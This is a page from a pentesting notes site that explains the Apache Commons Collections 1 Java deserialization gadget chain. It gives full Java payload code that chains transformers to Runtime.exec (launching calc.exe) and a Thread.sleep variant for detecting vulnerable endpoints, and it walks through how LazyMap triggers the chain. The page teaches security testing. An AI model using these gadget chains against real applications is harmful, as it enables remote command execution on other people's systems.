#@ck3r
  • Welcome
  • Administrator
    • ActiveDirectory
      • Methodology
    • LDAP
    • Kerberos
  • HTB_CTF
    • It's Oops PM
  • 🕸️ Pentesting Web
    • Web Vulnerabilities Methodology
      • Reflecting Techniques - PoCs and Polygloths CheatSheet
        • Web Vulns List
    • 2FA/MFA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning via URL discrepancies
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
      • Cookie Tossing
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
  • Dangling Markup - HTML scriptless injection
  • Dependency Confusion
  • Deserialization
    • NodeJS - __proto__ & prototype Pollution
      • Client Side Prototype Pollution
      • Express Prototype Pollution Gadgets
      • Prototype Pollution to RCE
    • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
    • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
    • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
    • Exploiting __VIEWSTATE without knowing the secrets
    • Python Yaml Deserialization
    • JNDI - Java Naming and Directory Interface & Log4Shell
    • Ruby Class Pollution
  • Page 1
Powered by GitBook
On this page
  • Java Transformers to Rutime exec()
  • Java Thread Sleep
  • More Gadgets
  1. Deserialization

CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

PreviousPrototype Pollution to RCENextJava DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Last updated 3 months ago

In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one:

java

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
    public static void main(String... args) {
        String[] command = {"calc.exe"};
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), //(1)
                new InvokerTransformer("getMethod",
                        new Class[]{ String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ), //(2)
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ), //(3)
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        command
                ) //(4)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        //Execute gadgets
        lazyMap.get("anything");
    }
}

If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc.

First of all you need to know that a Transformer in Java is something that receives a class and transforms it to a different one. Also it's interesting to know that the payload being executed here is equivalent to:

java

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Or more exactly, what is going to be executed at the end would be:

java

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

So, how is the first payload presented equivalent to those "simple" one-liners?

First of all, you can notice in the payload that a chain (array) of transforms are created:

java

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
        //(1) - Get gadget Class (from Runtime class)
        new ConstantTransformer(Runtime.class),

        //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
        new InvokerTransformer("getMethod",
                new Class[]{ String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),

        //(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),

        //(4) - Use the Runtime object to call exec with arbitrary commands
        new InvokerTransformer("exec",
                new Class[]{String.class},
                command
        )
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands.

So, how are those transforms chained?

java

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

In the last section of the payload you can see that a Map object is created. Then, the function decorate is executed from LazyMap with the map object and the chained transformers. From the following code you can see that this will cause the chained transformers to be copied inside lazyMap.factory attribute:

java

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

And then the great finale is executed: lazyMap.get("anything");

This is the code of the get function:

java

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

And this is the code of the transform function

java

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

So, remember that inside factory we had saved chainedTransformer and inside of the transform function we are going through all those transformers chained and executing one after another. The funny thing, is that each transformer is using object as input and object is the output from the last transformer executed. Therefore, all the transforms are chained executing the malicious payload.

At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code:

java

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
                new Class[]{ String.class, Class[].class},
                new Object[]{"getRuntime", null}
        ).transform(value); //(2)

value = new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ).transform(value); //(3)

value = new InvokerTransformer("exec",
                new Class[]{String.class},
                command
        ).transform(value); //(4)

Note how value is the input of each transform and the output of the previous transform , allowing the execution of a one-liner:

java

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

This payload could be handy to identify if the web is vulnerable as it will execute a sleep if it is.

java

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
    public static void main(String... args) {
        final Transformer[] transformers = new Transformer[]{
        		new ConstantTransformer(Thread.class),
        		new InvokerTransformer("getMethod",
        		        new Class[]{
        		                String.class, Class[].class
        		        },
        		        new Object[]{
        		                "sleep", new Class[]{Long.TYPE}
        		        }),
        		new InvokerTransformer("invoke",
        		        new Class[]{
        		                Object.class, Object[].class
        		        }, new Object[]
        		        {
        		                null, new Object[] {7000L}
        		        }),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        //Execute gadgets
        lazyMap.get("anything");

    }
}

Note that here it was explained the gadgets used for the ComonsCollections1 payload. But it's left how all this starts it's executing. You can see , in order to execute this payload, uses an AnnotationInvocationHandler object because when this object gets deserialized, it will invoke the payload.get() function that will execute the whole payload.

You can find more gadgets here:

Java Transformers to Rutime exec()
How
Summary
here that ysoserial
Java Thread Sleep
More Gadgets
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html